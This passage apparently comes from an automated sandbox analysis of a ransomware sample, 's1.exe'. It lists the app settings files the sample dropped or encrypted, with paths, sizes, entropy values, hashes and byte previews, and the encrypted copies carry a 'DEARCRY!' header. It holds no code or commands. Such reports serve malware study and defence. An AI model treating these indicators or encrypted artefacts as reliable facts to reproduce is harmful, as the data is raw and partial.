AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.9767198992679775
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AEB1A0498484E6DF76AB3EB5CEB19D02
                                                              SHA1:600BA1F1CC281B3751C5B42BC670157C8B3753A0
                                                              SHA-256:110239F064B6D7C97539B2FAECD4E04F5F8682DFC1488979D3AB9FCBD859E3A3
                                                              SHA-512:B8B8D2FCB0460845C84ADF67B176402B50CC3D63CE524FDC042E30E8C53D743BD8F1387674DDC7DF3F0AA6206996A5DA037934E98C0E472F8EB974DB6DAE20B7
                                                              Malicious:false
                                                              Preview: DEARCRY!....r..7.L....z.n.`%..4...=...H...7....u..8e...v1.s?9.1.g].%V...U..B.J..8.5W._..E..$..g......>.c.y.<..9....${O.7.;.3....j0Cz&"j.......1.kp.z.+.....~KY.x.......*.X/...`...1D..Sl.....w..1'U`.jv....e..+..T...\.{.WPy...C..i. ....b.Ok..[.k~........Pr3].Ze..... ......+..Z.$Q.]..$,..u0V*.j.X0..B..`..Fy.c0..M....W..j3....h..I<E.G. n..}o.;.........V.)0+..P.....A;j.2.E...xL#~..(.of....h...H;XK. <.Q.omb.#.)..6.;....B.^X...|....j..] .......h.~...l.(........u..g.wl...Rx.g.....os.t.ze.*."....\../.-.3....u}E$...I..&wX......Ynv..e.ALL.~].........v.7.z3.N.K}.N.@c.....w...p-B. g...X&.rm.m............Z..N...7$[.Q.....,H...^...i{~.......3.]...*.v_&E.....IF1..<#.~.....B..."8%....S68Qc@2/..@...z.\.3...I.0:$*..N..j&W...e.!...........<..{.1..rm.h..8:..".......I .....a0.R.S\{....P=.f...f..XL."...{7....|#Y.c.m2.$. .............e uZx....n...z.'..(.y8......Y.....Q@..Qc..9..G.Kd.y..>.........zc..].;.Y.7\2.j.Q8:jHZ.O.P.....Y.. f.#...}x.I..4..../.....rb...TEY]..
                                                              C:\Users\user\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.978769179465714
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3914951D4E11821526D97E0A8A928876
                                                              SHA1:C6207364276F820D471B353BEE0A02FF3C5EE9D9
                                                              SHA-256:5E2F3BFA2BE26BDAF50C377298F5AB767DF7A95220D86CD6AA49DC065FCA7B1B
                                                              SHA-512:0E5807285679F604522EA156487CE3E13275CD6C55102E79D5E4B5737C8AC806A744949548184B492DEC861FD448AB7B2BECDB0D8D7ECF3555B5691B03FA4410
                                                              Malicious:false
                                                              Preview: DEARCRY!......0..b...U@*$.&.<...Fe...........~..6....6...p#..'..........`...Q..Ny...h.~.....]....QI.J.,=.UT.......QwHFq.......i.2..\.?..b......4.h-.j.Dr.|.J.t.2c.DO......%....*....B.......+i..ZO..W..QO$vOR...;N........t..n.X..K.4k."../|."..p.F....7O...&.S...... ......HpG..../..P<.4Q*..>].....{..z.$..Z.L..p.|*?.T>w..$...S....3..p.t.^8.`....E....S-..)s...0t..2...f..}._bH.XB.....`S.Y.y%AR.jX._...!u.v..]..`P...(.a?.4lr.Z@...Y..n..l.,A....5$/....I...Z.Q.s.[.Q....Q....[!r.B..G.(....}.Tgd.&.....D.....~..M.u.b.d5...Y...."i.zed.W.8g....o.h..._...3.!.....i[.7uM;+R....S]...Y...)Q:X....9....t,5...v......~A.....w........"..qa:n...Co...{.d K......Z.vOY.~.]f..c....V.P......um...4....B.nU.L'd..;OC-....3K....e$.V.....>.....(..e..G.~Y.u..H.1`..`..e ...l.k.5..(^.:..5P...U.'.*..Z.a...(5..F.Z.\.B. Y..(7I..q....0..I...|..... .....:!.O().........1.7..L.Aw5.s.4.uZ...F.BnX.;.T?t.D.p..^....<..pl9P\y..r.....hn.9.K..-.H...A....K....H;..q2%l....z.....8t...L....H....
                                                              C:\Users\user\AppData\Local\Packages\InputApp_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\InputApp_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.978982809937786
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1F4C81CF79F789C497D10D2531DC175C
                                                              SHA1:188A505F0C3CA60FE3D1D86AC286940F22803E1D
                                                              SHA-256:E021C61F3DCF78DBC102238B24296B2226C663B9702156117C6D7E8005A2E6D5
                                                              SHA-512:F1A90A3291518E6FD764271810B055DCCD48AB6D67843ADBA9036B4C302B7357B46AF73CA9909B61FA5404581380377A9BD9932D5700C392EDDD48B08A41060A
                                                              Malicious:false
                                                              Preview: DEARCRY!....Xvn...Yd$x<..|..2Z[.eP-.H.?.....X.I......(J..g...F...5n.Ni\............/...$nO..|6Y.H.w_..!4...T..ZXA-.X.j/......v4qU.....nA2~\.b....p?.I.Sk.3....I.i........f...Pw..v[.x....o.5..j.).v...[b..p{.d;:./C...z.O.6g...h.o...2..1..r.N.^.%K.2R...."^...... .......A..\...t.T...Y....+. .2h~...F.P..r...b.....<3.>....@.}.-..5....V.......w..<.........!.i.Y.]..p.X.....Gw;..9..]......Ea.Wu....*...\..n}y..q&l.K{.....U...2......h..@4a.U......M..._z..~.}=...'.~...}t=!t.\<..F.$EWE...]'..\...(.....\d'..E..?f..@...;]..6..\I.@?.f.O.6+.B....ss....1.h......<.QG~...#..].R....P.0.....qQ_.".K...<$0.....-...gZl.=$\.q.W.Y.>.D.&.g.....{......c,^ ......{c.!.b.....E..e...*...A.v..n.|....I..V...7Og..O.[6q...|F.+.....X........Jj+..^%.0F....Z").z.._`.4...crB....K.^..h..J...7..[.<..|..^(a(..m`.^.m...."..S?....w\.!-e.(....l..mA.....!.E. ..%"...o.....3^.....1...@mgYz|..L72.9p.].n.3KD.V.....}A...JZ>..5.t.N.....i..8.+n...dG{..h.)...K.....<.i.+.....]LX.]/h...-C(B.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.9776916457477745
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4B500A1EA46BCE61A7AE75421F8632AF
                                                              SHA1:8BDC7747002534D57786BE85C6FD0695FDCA90ED
                                                              SHA-256:98079291C82A89B8F9ACD11F69475261C888B62063C3E533943FBEE2AA0331A1
                                                              SHA-512:6749870A574D5864E0AE8B0D45745CAC92BE72B2474505436E9F5B528EE8B4243EADF362712B1AA58E64B0ACE0E059700939CF196E09038E2596382B6808028B
                                                              Malicious:false
                                                              Preview: DEARCRY!...........,0`u.H%..;^.K....}n..S.n0>q.^....e.).b5a.;F....[.......-w..+oJ.z_.?...;..Y.........P..cn..3..|..H......5ZGB;.%..'..1.....DC.j..,F.$$...u.h>sSY...3K-By...A.0X.0.y.T.);.Vw|$.M...Lt.@Pb...._JWl....7;&f&..x.y_P...[.....rL..c8|j%I...(@&R..1...... ..........lC.}#......u:...!.%........g.w..y..d.J......~..M.<@..R.....0o:i.1%.?........a.....tT"e.b.:...b....,...v.....Dh..C......R.B?l.rk.JrD.[hN.J.s........qEo0T]D.A....]..|8.{..[3...9t..*Ln.k.....}.4./..1..b..q..+s0P.....>.+Q.z.....,...`.tab.yx....kO..f.........*..I,..R..._.T./=Nx.k5ia4.a1.`.;.. ......m.............4q.j.....DV........../n=....yLF9.....B....O..wL>..H.U./A.1&..m.|...KV...h..{E....)..%.L3.[.5......\B.k.w.S....N.K.nu.8...........O..uxx.#%...W.v...%..}.J...(..^.S.;.P.7../ .vW.#R..@#%2.M.+.I...........h.2.I.......S..y.L sO.-W.....0..U...h..9..|........H..P|j!..p..4l=xF...w*..h_..eO)S.;..[...*).....x.....#Gpt...m5....@S(..(.Z.1.le.;......nT k..2.F...B~Z.B....../.X&.".V2.)4.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.978570081611034
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:80B3781782F4A0B735AFE0B6041C9B45
                                                              SHA1:9C85E2CB5E7D6779324FE124EE52E6784B752986
                                                              SHA-256:528F7409A15201C55F0B8E40208AD8E9815DCE9676A505F8000FAFC7031BBC1D
                                                              SHA-512:A3C4D2DE2B7BEB4E2A9D39C7443BE06689DA1E7B63DA16D54EF8F1FF10CCED498484EEC5B1E886D0730BF78615F51C585F28055973B7D413170330687E739363
                                                              Malicious:false
                                                              Preview: DEARCRY!....up...I.g..XQ.5`.`\....P.8....2ltu*V.;....J..t.U..N...+XKn[...,.G.T<O...|..-....5[..x.TzH....b..pQ.]X.s....j.3..s2.ny...f.V)O.K...y.?.[.L......Jg&.B.j...+tK....\.C5...xr..Ug..#L.......&'>.[9M....;..b.O.`/L..byF>._.......R.......C....5....y}|>.i...... ........W........21Pt2.....d.3.<.4.{.|.==LT..^.!.r.x.......wpfj.2..K|.... ...X~...."0...I..@'G?.[{.#.Hg.N.5-[..r$........y...j......q.%..kgZQ..&"V...].xcqxt.D....:...Z.ut!.NHi.9.o..;..l..]...+-....#..k..[r.::...s...=.......n......4sf..@....n.zGzNg.SU.....{.....i=ue.w+....;.I.....q..;5.w.............P9.l.I.n.e0cQuQ.)....P..8)..Y.g..F..|F.6.....;..K...E..k..l.,.,`..ei-g..4kSI...&..Yn>..dTg.N;..).........y...qS{..a..;q....d..4.,..0`.,@..(.|..v..e5........{N.-....ddG`&d....H<..m.l...{=..6..d6_..?.R...TT%.?......].*....Y!.Q....<.8....a..(5...C}*...x...=.gR...L..._.n...AN{}/].F.y.nu..G6...r6..o3......dJ3E>....p6............o....K$.....^....T...y..<.N..c..J.J....?...c.5..}b.&...[..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.9784253749835115
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:049B48802553FDC0DCD46D96D9DA6235
                                                              SHA1:6458A26E19E33EF7C65FFEE3E25086A780AA61A0
                                                              SHA-256:DE8003E2E5A09F9CAE4ABFFF1D7FB7F90780811BD954693ED9ADEFDCB41A19B7
                                                              SHA-512:796ED4F8681913C25BB30B8B551D244D88DDFEDFCBD04E108CF095F6537F7A050E6E5F8F6D07083D0B55481A6A9E9C575F9300F3834E4C040DBCE60AA5BC5B73
                                                              Malicious:false
                                                              Preview: DEARCRY!......._...a......H.a...GUHU^(D...."M....OD.H.-.hK.h}.2.]@..J.d.h.\T....&........c.M.O.....c...j>..+.Nhq.!R.M%..U(...6o..'.....2.5Vn.N.o>.~u......f..,........]8.'....MNg.S^.ZT.O4av|L..n.....5.q..{ql..=@.."5o.6.0Z$...s..M.N.:n1.#..$9...O..pX...... ........TM..T/.9...c.hc......*...j<B..r.}.....5f.b....-..K.+.>;.W_=......z....*o.MQ.t...B..p...v20!O...v...+&..g...&..!.....X].k.H6=.\...6tp.s..7sn9....4M..C...0.....q......<......|......./..j.r..0.W.!h.@.F.\K.w*.<.nT..`ry....'..K|.0...9O;...VI.I.h.....5\.C..o.+......,...b..:.......JkH].....[U....^#L.."$...};.#&....,.......hk......X....9..#.=U".v;.....c7..)TS..n.j,%.j....&mE..[EK=.v..]b@...{'.....>.,.u..#%..cl....D.................3%..^....'i......._..xq>.3...1..T."=o..o.n|g@~._..c.6x...<.a.Y.....`.C.o..+.$.E.^.....O.?....u.}Y...|:.fD`..e.(D.J.n..U.$\...G........'*.../#..^OLl.....[."......z......C.9.. .4...G.Gl.Z.M.p.7%....I\.]....kE.....X}.....&%.Q..R....W....s+.i....W.L.M.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.977484652345301
                                                              Encrypted:false
                                                              SSDEEP:
